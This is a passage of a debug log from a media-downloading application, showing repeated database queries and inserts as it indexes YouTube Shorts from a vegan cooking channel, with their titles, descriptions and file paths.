s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:36.420 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:36.421 [debug] QUERY OK source="media_items" db=0.5ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [852] 20:30:36.421 [debug] Current batch of media processed. Will check again in 1000ms 20:30:37.422 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Who doesn't love chocolate cream pie that you don't feel guilty about eating because it's gluten-free, plant-based (vegan), soy-free, and egg-free. This chocolate avocado cream pie will get you so excited, you won't be able to resist it.\n\nBrownie points for anyone who remembers what movie the audio is from.\n\nCheck out the full video here: https://youtu.be/8GSEsZWhkhs\n\nDon't forget to subscribe to catch all of our daily content!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-10 Guilt-free chocolate cream pie that will get you all excited 😮🤤/Guilt-free chocolate cream pie that will get you all excited 😮🤤 [dI2E6LTLwwk].NA", "id" => "dI2E6LTLwwk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/dI2E6LTLwwk", "playlist_index" => 464, "timestamp" => 1652196618, "title" => "Guilt-free chocolate cream pie that will get you all excited 😮🤤", "upload_date" => "20220510"} 20:30:37.423 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:37.423 [debug] QUERY OK source="sources" db=0.3ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:37.426 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-10 15:30:18Z], 1] 20:30:37.448 [debug] QUERY OK source="media_items" db=21.2ms idle=1005.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who doesn't love chocolate cream pie that you don't feel guilty about eating because it's gluten-free, plant-based (vegan), soy-free, and egg-free. This chocolate avocado cream pie will get you so excited, you won't be able to resist it.\n\nBrownie points for anyone who remembers what movie the audio is from.\n\nCheck out the full video here: https://youtu.be/8GSEsZWhkhs\n\nDon't forget to subscribe to catch all of our daily content!", "Guilt-free chocolate cream pie that will get you all excited 😮🤤", "13c58258-ca01-4454-a801-e2d29edb90e2", 1, [], 14, false, "dI2E6LTLwwk", "https://www.youtube.com/shorts/dI2E6LTLwwk", 464, "/downloads/downloads/alec/Steamy Vegan/2022-05-10 Guilt-free chocolate cream pie that will get you all excited 😮🤤/Guilt-free chocolate cream pie that will get you all excited 😮🤤 [dI2E6LTLwwk].NA", false, false, true, 0, ~U[2022-05-10 15:30:18Z], ~U[2026-03-22 03:30:37Z], ~U[2026-03-22 03:30:37Z], "Who doesn't love chocolate cream pie that you don't feel guilty about eating because it's gluten-free, plant-based (vegan), soy-free, and egg-free. This chocolate avocado cream pie will get you so excited, you won't be able to resist it.\n\nBrownie points for anyone who remembers what movie the audio is from.\n\nCheck out the full video here: https://youtu.be/8GSEsZWhkhs\n\nDon't forget to subscribe to catch all of our daily content!", "Guilt-free chocolate cream pie that will get you all excited 😮🤤", 1, 14, false, "dI2E6LTLwwk", "https://www.youtube.com/shorts/dI2E6LTLwwk", "/downloads/downloads/alec/Steamy Vegan/2022-05-10 Guilt-free chocolate cream pie that will get you all excited 😮🤤/Guilt-free chocolate cream pie that will get you all excited 😮🤤 [dI2E6LTLwwk].NA", true, ~U[2022-05-10 15:30:18Z]] 20:30:37.448 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=761.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:37.449 [debug] QUERY OK source="media_profiles" db=0.7ms idle=25.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:37.450 [debug] QUERY OK source="media_items" db=0.6ms idle=26.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [853] 20:30:37.451 [debug] Current batch of media processed. Will check again in 1000ms 20:30:38.452 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We all have that go to drink first thing in the morning, maybe it's a healthy green smoothie or maybe it's a coffee for you. If you miss these you probably feel a lot like Will Ferrell in this Old School clip. \n\nCheck out the full smoothie video here: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe for more daily content!", "duration" => 10, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-09 When I don’t get my morning green smoothie/When I don’t get my morning green smoothie [R74GiE1uOVY].NA", "id" => "R74GiE1uOVY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/R74GiE1uOVY", "playlist_index" => 465, "timestamp" => 1652101214, "title" => "When I don’t get my morning green smoothie", "upload_date" => "20220509"} 20:30:38.453 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:38.454 [debug] QUERY OK source="sources" db=0.8ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:38.456 [debug] QUERY OK source="media_items" db=1.8ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-09 13:00:14Z], 1] 20:30:38.459 [debug] QUERY OK source="media_items" db=2.5ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We all have that go to drink first thing in the morning, maybe it's a healthy green smoothie or maybe it's a coffee for you. If you miss these you probably feel a lot like Will Ferrell in this Old School clip. \n\nCheck out the full smoothie video here: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe for more daily content!", "When I don’t get my morning green smoothie", "f6c4f19d-2610-4e0a-ad56-0de210c5e785", 1, [], 10, false, "R74GiE1uOVY", "https://www.youtube.com/shorts/R74GiE1uOVY", 465, "/downloads/downloads/alec/Steamy Vegan/2022-05-09 When I don’t get my morning green smoothie/When I don’t get my morning green smoothie [R74GiE1uOVY].NA", false, false, true, 0, ~U[2022-05-09 13:00:14Z], ~U[2026-03-22 03:30:38Z], ~U[2026-03-22 03:30:38Z], "We all have that go to drink first thing in the morning, maybe it's a healthy green smoothie or maybe it's a coffee for you. If you miss these you probably feel a lot like Will Ferrell in this Old School clip. \n\nCheck out the full smoothie video here: https://youtu.be/NToOA5QK408\n\nDon't forget to subscribe for more daily content!", "When I don’t get my morning green smoothie", 1, 10, false, "R74GiE1uOVY", "https://www.youtube.com/shorts/R74GiE1uOVY", "/downloads/downloads/alec/Steamy Vegan/2022-05-09 When I don’t get my morning green smoothie/When I don’t get my morning green smoothie [R74GiE1uOVY].NA", true, ~U[2022-05-09 13:00:14Z]] 20:30:38.460 [debug] QUERY OK source="sources" db=0.4ms idle=771.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:38.461 [debug] QUERY OK source="media_profiles" db=0.7ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:38.462 [debug] QUERY OK source="media_items" db=0.4ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [854] 20:30:38.462 [debug] Current batch of media processed. Will check again in 1000ms 20:30:39.463 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Johnny Depp, Brad Pitt, Ariana Grande, Jessica Chastain, Gorillas and so many others do it. Have you tried a plant-based, vegan recipe? Check out all of our recipes by subscribing to Steamy Vegan Kitchen\n\nSubscribe: https://www.youtube.com/channel/UChyRQ1MG_lcGByn0oeQmVfA?sub_confirmation=1", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts/Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts [K5gp_vEuYCs].NA", "id" => "K5gp_vEuYCs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/K5gp_vEuYCs", "playlist_index" => 466, "timestamp" => 1652031346, "title" => "Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts", "upload_date" => "20220508"} 20:30:39.465 [debug] QUERY OK source="sources" db=0.7ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:39.466 [debug] QUERY OK source="sources" db=0.3ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:39.468 [debug] QUERY OK source="media_items" db=2.6ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 17:35:46Z], 1] 20:30:39.470 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Johnny Depp, Brad Pitt, Ariana Grande, Jessica Chastain, Gorillas and so many others do it. Have you tried a plant-based, vegan recipe? Check out all of our recipes by subscribing to Steamy Vegan Kitchen\n\nSubscribe: https://www.youtube.com/channel/UChyRQ1MG_lcGByn0oeQmVfA?sub_confirmation=1", "Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts", "08f282b7-52a3-4bba-a630-621982859652", 1, [], 15, false, "K5gp_vEuYCs", "https://www.youtube.com/shorts/K5gp_vEuYCs", 466, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts/Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts [K5gp_vEuYCs].NA", false, false, true, 0, ~U[2022-05-08 17:35:46Z], ~U[2026-03-22 03:30:39Z], ~U[2026-03-22 03:30:39Z], "Johnny Depp, Brad Pitt, Ariana Grande, Jessica Chastain, Gorillas and so many others do it. Have you tried a plant-based, vegan recipe? Check out all of our recipes by subscribing to Steamy Vegan Kitchen\n\nSubscribe: https://www.youtube.com/channel/UChyRQ1MG_lcGByn0oeQmVfA?sub_confirmation=1", "Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts", 1, 15, false, "K5gp_vEuYCs", "https://www.youtube.com/shorts/K5gp_vEuYCs", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts/Johnny Depp did it, even Ariana Grande does it, let’s DO IT! #shorts [K5gp_vEuYCs].NA", true, ~U[2022-05-08 17:35:46Z]] 20:30:39.470 [debug] QUERY OK source="sources" db=0.3ms idle=779.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:39.471 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:39.472 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [855] 20:30:39.472 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Ever wondered the best ways to cheat? I heard that gasp but I'm referring to cheating on your vegan or gluten-free diet of course, or any diet really. \n\nCheck out our full video on how I convinced my husband to eat vegan and what he does to occasionally cheat: https://youtu.be/wp9Znjx6GlA\n\nAlso, check out the first episode in our new series 'Cheat Day Challenge'. You'll see us make some of your favourite meals into epic cheat meals: https://youtu.be/2PBpb8LJWwE", "duration" => 18, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-08 How to Get Away With Cheating #shorts/How to Get Away With Cheating #shorts [5U2k14VVceE].NA", "id" => "5U2k14VVceE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5U2k14VVceE", "playlist_index" => 467, "timestamp" => 1652000402, "title" => "How to Get Away With Cheating #shorts", "upload_date" => "20220508"} 20:30:39.474 [debug] QUERY OK source="sources" db=0.8ms queue=0.5ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:39.474 [debug] QUERY OK source="sources" db=0.4ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:39.477 [debug] QUERY OK source="media_items" db=2.3ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-08 09:00:02Z], 1] 20:30:39.478 [debug] QUERY OK source="media_items" db=0.7ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered the best ways to cheat? I heard that gasp but I'm referring to cheating on your vegan or gluten-free diet of course, or any diet really. \n\nCheck out our full video on how I convinced my husband to eat vegan and what he does to occasionally cheat: https://youtu.be/wp9Znjx6GlA\n\nAlso, check out the first episode in our new series 'Cheat Day Challenge'. You'll see us make some of your favourite meals into epic cheat meals: https://youtu.be/2PBpb8LJWwE", "How to Get Away With Cheating #shorts", "01d10ac6-cc64-459c-a520-dc38f427b920", 1, [], 18, false, "5U2k14VVceE", "https://www.youtube.com/shorts/5U2k14VVceE", 467, "/downloads/downloads/alec/Steamy Vegan/2022-05-08 How to Get Away With Cheating #shorts/How to Get Away With Cheating #shorts [5U2k14VVceE].NA", false, false, true, 1, ~U[2022-05-08 09:00:02Z], ~U[2026-03-22 03:30:39Z], ~U[2026-03-22 03:30:39Z], "Ever wondered the best ways to cheat? I heard that gasp but I'm referring to cheating on your vegan or gluten-free diet of course, or any diet really. \n\nCheck out our full video on how I convinced my husband to eat vegan and what he does to occasionally cheat: https://youtu.be/wp9Znjx6GlA\n\nAlso, check out the first episode in our new series 'Cheat Day Challenge'. You'll see us make some of your favourite meals into epic cheat meals: https://youtu.be/2PBpb8LJWwE", "How to Get Away With Cheating #shorts", 1, 18, false, "5U2k14VVceE", "https://www.youtube.com/shorts/5U2k14VVceE", "/downloads/downloads/alec/Steamy Vegan/2022-05-08 How to Get Away With Cheating #shorts/How to Get Away With Cheating #shorts [5U2k14VVceE].NA", true, ~U[2022-05-08 09:00:02Z]] 20:30:39.479 [debug] QUERY OK source="sources" db=0.6ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:39.479 [debug] 